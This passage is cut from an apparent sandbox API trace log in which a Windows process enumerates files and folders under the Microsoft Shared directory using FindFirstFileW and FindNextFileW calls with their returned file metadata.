nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.879] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.879] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a6eb476, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a6eb476, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a6eb476, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.880] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.880] GetProcessHeap () returned 0x470000 [0079.880] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.880] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0079.880] GetProcessHeap () returned 0x470000 [0079.880] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.880] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.881] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.881] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.881] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe29f63af, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2c31822, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2c31822, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.881] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.881] GetProcessHeap () returned 0x470000 [0079.881] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.881] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0079.881] GetProcessHeap () returned 0x470000 [0079.881] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.881] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.885] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98074e3f, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98074e3f, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.885] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.885] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d53a0a3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.885] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.885] GetProcessHeap () returned 0x470000 [0079.885] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.886] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0079.886] GetProcessHeap () returned 0x470000 [0079.886] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.886] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.886] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0079.886] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe268a454, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe287960d, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe287960d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0079.886] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.887] GetProcessHeap () returned 0x470000 [0079.887] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.887] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0079.887] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0079.887] GetProcessHeap () returned 0x470000 [0079.887] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0079.889] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0079.889] GetProcessHeap () returned 0x470000 [0079.889] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0079.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0079.893] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x69dc9750, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.893] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 1 [0079.893] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad59fd00, ftCreationTime.dwHighDateTime=0x1ca9454, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad59fd00, ftLastWriteTime.dwHighDateTime=0x1ca9454, nFileSizeHigh=0x0, nFileSizeLow=0x665a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCDM.DLL", cAlternateFileName="")) returned 0 [0079.893] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0079.893] GetProcessHeap () returned 0x470000 [0079.893] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0079.893] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0079.893] GetProcessHeap () returned 0x470000 [0079.893] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0079.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0079.894] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.894] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0079.894] GetProcessHeap () returned 0x470000 [0079.894] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.895] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSInfo\\en-US\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255300 [0079.895] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.895] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 1 [0079.895] FindNextFileW (in: hFindFile=0x3255300, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0a09f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xccb91a1, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xca0a09f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x6800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe.mui", cAlternateFileName="")) returned 0 [0079.895] FindClose (in: hFindFile=0x3255300 | out: hFindFile=0x3255300) returned 1 [0079.895] GetProcessHeap () returned 0x470000 [0079.895] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x527ba8 | out: hHeap=0x470000) returned 1 [0079.895] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0079.895] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x830a4e7c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x830a4e7c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x830cafdd, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5c800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 0 [0079.896] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0079.896] GetProcessHeap () returned 0x470000 [0079.896] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0079.896] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0079.896] GetProcessHeap () returned 0x470000 [0079.896] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0079.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0079.896] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5d93940, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.896] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0079.896] GetProcessHeap () returned 0x470000 [0079.896] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x527ba8 [0079.896] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\*", lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255280 [0080.695] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc24d0020, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc24d0020, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.695] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81925f00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x81925f00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0x305a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEINTL.DLL", cAlternateFileName="")) returned 1 [0080.695] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77357e00, ftCreationTime.dwHighDateTime=0x1cac9ad, ftLastAccessTime.dwLowDateTime=0xee2a83b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77357e00, ftLastWriteTime.dwHighDateTime=0x1cac9ad, nFileSizeHigh=0x0, nFileSizeLow=0xcdb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEODBCI.DLL", cAlternateFileName="")) returned 1 [0080.695] FindNextFileW (in: 